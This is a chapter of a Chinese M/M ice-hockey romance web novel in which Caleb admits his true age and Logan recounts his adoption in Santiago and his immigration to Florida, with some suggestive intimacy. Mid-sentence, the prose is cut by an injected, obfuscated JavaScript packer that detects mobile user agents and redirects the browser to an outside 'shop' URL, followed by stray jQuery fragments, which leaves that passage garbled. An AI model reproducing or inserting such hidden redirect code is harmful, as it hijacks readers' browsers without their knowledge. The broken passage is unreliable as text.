19. 洛根的秘密
作品:《冬风吹不到圣地亚哥[冰球]》 奥利弗走过来,把一个卷心菜娃娃放在凯勒布的腿上。
“谢谢你,奥利。”凯勒布低着头,拿起哥哥给他的娃娃,偷偷用衣袖擦了擦眼泪。
奥利弗虽然只有几岁小孩的智力水平,但并非一个傻子。他看得出来凯勒布低迷的情绪,什么也没多说,静静地走到一边坐下,不时地朝这边看一眼。
而洛根只是伸出胳膊,将身边这个相对来说比他瘦小很多的男孩抱在怀里。
“所以说……其实,我现在,还不到二十一岁,和你的年龄差是十岁左右。”凯勒布的眼泪滑落眼角,“而且,我并不是‘凯勒布’……你还会喜欢我吗?我瞒了你这么久……”
“凯勒布就是凯勒布。”洛根柔声打断了他,抬手把凯勒布额头上落下来的一绺棕发挽到他的耳后,“无论你过去是什么身份,你现在是什么,你就是什么。我猜,奥利也很喜欢继续做奥利,是不是?”
他转头看向奥利弗,奥利弗坐在那里冲着凯勒布和洛根,咧嘴露出一个纯真的笑容。
“而且,说实话,”洛根的手指柔和地抚摸着凯勒布的肩头,安抚着他的情绪,将他拥在怀中轻轻摇晃,“对比起来那些你坦白的往事,我现在更后悔的其实是在不知情的情况下给你喂了不少啤酒,毕竟你还没有到法定饮酒年龄。”
凯勒布噗嗤一声笑了出来,窝在洛根怀中仰起脸来看向他:“所以你不生气?”
洛根用拇指拭去凯勒布眼角的泪珠:“我生什么气?气你这些年咬牙硬撑着给家里人换回幸福的生活吗?”
“气我没有对你说实话。”凯勒布终于冲着洛根露出一个甜甜的笑。
“所有人都会撒谎的,你这点小小的谎言算不得什么。”洛根终于圆了自己的心愿,捏了捏凯勒布那挺翘的鼻尖。
凯勒布摇摇头:“不一定,我感觉你就没有撒过谎……除了那种不得不撒的以外。”他像是想起来洛根和科斯莫以前那些事儿似的,老大不情愿地找补道。
“好吧……”洛根叹了口气,抬手捏捏自己的鼻梁,“那我也跟你说一件我的秘密,我们就又扯平了。”
凯勒布感兴趣地从洛根怀里坐直身子:“你?你还有什么秘密?”
洛根微笑着摸摸他的头发:“现在我倒是希望你不会嫌弃我了。”
----------------
【以下是洛根第一人称视角的叙述】
好,让我想想该怎么跟你说。不不……你不用正襟危坐,就这样躺我怀里就行。
你知道我有弟弟和妹妹,嗯,其实我们几个,包括我们和母亲之间,其实没有任何血缘关系。
哈哈哈,别用这种眼神看我。其实我们的亲密程度和亲生的几乎没有任何区别。
嗯……我们……我们全部都是被一个名叫索菲亚·佩雷斯的伟大女士收养的。当年她是智利圣地亚哥的圣胡安·德迪奥斯医院的一名实习护士。在一个新年的夜晚,结束轮班回到她在永盖街区的小房子的时候,在一个拐角发现了浑身脏兮兮的我。
当时的她根本无法判断我到底几岁,可能两岁,也可能根本不到,因为我从小就比其他孩子的身形更大一些。总之,索菲亚把我带回了她的家。那片街区乱得很,没人知道我到底是谁家的孩子,也没人知道我的父母到底是底层工人还是毒.贩.女支女。警察也懒得管我们那一片的各种不干不净的事情,所以到了最后,索菲亚找寻无果,还是一个单身姑娘的她决定收养我做她的儿子。
从那之后,她在医院儿科里又陆陆续续收养了被遗弃的荷西和伊莎贝拉,街区附近的居民都叫她“圣母索菲亚”。索菲亚很爱我们,我们也爱索菲亚。在她在医院里忙于工作的时候,我会在家里照顾弟弟妹妹。在她回家后,为了不让她再为照顾我们而操劳,我也会尽量把她也照顾得特别好。
直到有一次,我们学校忽然和市区里只有富人家孩子才会去的学校举办了一场联合运动会,我就是在那次活动上第一次接触到了有钱人家小孩才会接触到的冰球。和你一样,我非常擅长这个。我遇到了一个好老师,她亲自联系索菲亚说我是一个练冰球好苗子,如果有机会可以尝试把我送往美国,总之把我从南美送到北美,那里更适合我,可以让我彻底脱离这个鱼龙混杂的街区。
我其实当时并没有把这件事放在心上,但是索菲亚记住了。
后来又过了一段时间,她忽然对我说她要走了,她在美国找了个差事。但她是偷渡过去的,不能把我们带在她身边,不然风险太大。她让我做一个男子汉,好好在家照顾弟弟妹妹,耐心等她的消息。
于是我按照她的吩咐做了。那段时间她不在家,有不少小混混来打我们家的主意,我全部反击了回去。你看这里,对,这里这道伤疤,就是当年留下来的。
好了好了,早就不疼了……别担心……
再后来呢,我们终于收到了索菲亚的消息:我们可以去美国了。
她寻找到了一个非常有效的手段,不是那么堂堂正正,但是有效:她在佛罗里达的墨尔本给一个英国男人做看护,那个男人已经七十多岁了,在生命的最后几年时光里,他选择和精心照料他的索菲亚结婚,给了她美国公民的身份。
索菲亚把我和弟弟妹妹们从智利接到了佛罗里达,为了让我进一个体育项目很好的学校,她在申报我年龄的时候,故意往小报了几岁。就这样,我成功进入了墨尔本的主教学校,和一堆比我小了不知道多少岁的孩子们成了同学。
嗯……我也是在那里认识了科斯莫。
别把后脑勺冲着我,这很不礼貌的你知道吗,过来,回我怀里来。
当时在那个主教学校,科斯莫是为数不多愿意和我一起玩的孩子。那个时候的我甚至连英语都说不利索,他也是移民家的孩子,所以有同样经历的他对我有无限的耐心。后来同样在体育项目出类拔萃的我们总是作为学校代表出战各种比赛,时间久了就……相处出一些感情,然后就……你懂的。
行了别试着逃走了,我已经抓牢你了。
总之呢,我们尝试在一起,但是科斯莫害怕这事被他父母知道,更害怕被球迷们知道。毕竟棒球球迷和冰球球迷是直男最多的体育圈子,他的秘密要是被公开了,基本上他的事业就全毁了。
我倒是没那么害怕,因为我还有退路。我的妹妹伊莎贝拉在圣地亚哥有一家旅行社,而我弟弟荷西,在伊莎贝拉的旅行社有业务的Llanquihue湖拥有一个私人的度假酒店。所以我已经想好出柜后如果失去冰球事业的话应该怎么度过我的下半生了,可能就在Llanquihue湖钓钓鱼,帮荷西干干活,打发时间。
也许,将来你可以跟着我一起回圣地亚哥,我们一起回Llanquihue湖,我想带你去看看那里我最喜欢的地方。
----------------
“就这样?”凯勒布躺在洛根的怀里,仰起脑袋来看向他。
“就这样。”洛根玩着凯勒布的手指,心猿意马地说道。
“这跟我的秘密比起来根本不算什么嘛!”凯勒布愤愤地说道,“我隐瞒了你这么多,而你只是非常高洁地不提起自己的来时路而已。”
“嘿,我也隐瞒了我的年龄好不好。”洛根好笑地看着凯勒布,“我的真实年龄至少比你大十三到十五岁。”
“那又怎样!”凯勒布的脸微微一红,向洛根怀里拱得更深了一点,“我就喜欢老男人,你能拿我怎么着吧!”
洛根见凯勒布并不嫌弃自己年纪大后,便放松了几分:“那你该怎么弥补你上次的不告而别?”他说着,厚实温暖的双手悄悄摸向凯勒布的腰间,顺着毛衣下摆向里伸进去,“我还没原谅你呢。”
凯勒布的脸红得更厉害了,耳朵几乎能冒出蒸汽:“别在这……”他的手指绞紧洛根的衣袖,眼神不安地飘向坐在那边玩玩具的奥利弗。
洛根本来是打算吓唬他一下,看到凯勒布在哥哥面前缩成一团,尽管内心柔软得一塌糊涂,也不愿再戏弄他了。他抽出自己的双手——
——“别,”凯勒布按住他的动作,“别拿出来,就……就这样陪着我就行。”
洛根温柔地看着他:“你就只想要这样?”
凯勒布满足地点点头:“嗯,只想要这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478846|201632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样。”
“唉,好吧。”洛根假装遗憾地低头亲了一下凯勒布的鼻尖,“真可惜,我本来还想要更多的。”
“这还是你吗?圣人洛根?”凯勒布觉得好笑,冲着洛根的侧脸发出一阵吃吃的笑声。
“我从来没说过我是‘圣人’,亲爱的。”洛根的手臂收得更紧了一些,带着笑意注视着奥利弗的背影,“从来不是。”
----------------
第二天醒来时,洛根满意地发现凯勒布在他的臂弯里沉沉地睡着。
他抬起头,感觉颈肩一阵疼痛。努力挣扎着抬起半个脑袋,才发现他们二人其实是在玩具室的地板上靠着靠垫睡着的。奥利弗早已不知去向,但是他们两人身上盖着一条有小熊纹样的毯子。
“早啊。”凯勒布被洛根的动作晃醒,揉了揉眼睛,“你在找什么呢?”
“奥利弗。”洛根清了清沙哑的嗓子,四下寻找着奥利弗的踪影,“你哥哥去哪儿了?”
“他应该是回自己的房间睡了,”凯勒布拽着洛根的胳膊将他重新拉下来躺在自己身边,“你放心,这点自理能力他还是有的。”
“那我猜,这条毯子也是他给我们盖的咯?”洛根将凯勒布再次拉进怀里,微笑着问道。
“嗯哼,这还是我给他挑的。”凯勒布带着浓浓的睡意趴在洛根肩上点了点头。
洛根再次抬起头看向玩具室的门口,确定没有听到奥利弗起床的动静后,轻轻靠近了凯勒布:“嘿……小孩,我现在需要你来帮帮我。”
凯勒布费劲地抬起眼皮:“嗯?”他手指都懒得动一下,“你想让我帮你什么?”
洛根没说什么,只是沉默地拉着凯勒布的手伸了过去。
凯勒布浑身一激灵,眼睛瞬间睁大:“你确定吗?”他看了一圈玩具室,“在这里?”
洛根淡然一笑:“我早就跟你反复说过了,”他欺身上前,将凯勒布压在身下,“我不是圣人。”
“我真服了,老男人开荤真难伺候。”凯勒布咕哝道,脸上带着一丝羞涩的怒气。
----------------
“所以说……你定好什么时候回去了吗?”在玩具室胡闹了一番后,凯勒布回到卧室仔仔细细把自己洗了个干净,擦着滴着水珠的头发走出浴室对坐在床边的洛根问道。
“嗯,今天下午。”洛根伸手招呼凯勒布来到他的怀里,自从确定了他对凯勒布的感情后,他甚至一分一秒都不想离开他。
“这么早?”凯勒布惊讶地放下毛巾,来到洛根的双臂之间,“不能再多待一会吗?”
“没办法,霜咬队的训练,我还是队长。”洛根心思不正地轻轻揉捏凯勒布的后腰,“我猜你们也要很快开始训练吧。”
“对,后天开始。”洛根的亲昵程度开始超过凯勒布的想象,但他乐此不疲,“下次再见面,就是明星赛之前嚎狼队和霜咬队的第四场比赛了。你到时候会对我手下留情吗?”他歪着脑袋问道。
“你会吗?”洛根挑起眉毛反问道。
“打死也不会。”
“我也是。”
“那你等着瞧吧,老爷子。今年我们嚎狼队一定会把你们打趴下。”
洛根笑着看着凯勒布自信臭屁的模样,三十多年来从来没如此轻松幸福过。
“对了,我一直想问你。”凯勒布的手指摸索着洛根的衣领问道,“这次明星赛,你们会派谁参加?”
“去年因为各种原因,江砚没能参加,今年应该轮到他上场了吧。”洛根仔细思索着,斟酌着回答道。
“嗯……”凯勒布老大不情愿地微微蹙眉,“如果可以的话,我还是希望你能上场。”
洛根感兴趣地看着他:“哦?为什么呢?”
“上一次我们合作,简直就是灾难现场。”凯勒布有些不好意思地说道,“而咱们俩,除了明星赛之外几乎没有其他的合作机会。所以我想……我们需要再合作一次,我想要和你一起,把他们打个落花流水。”
“非常诱人的提议,”洛根拉过凯勒布的手腕,亲了亲他的掌心,“为什么不呢?”

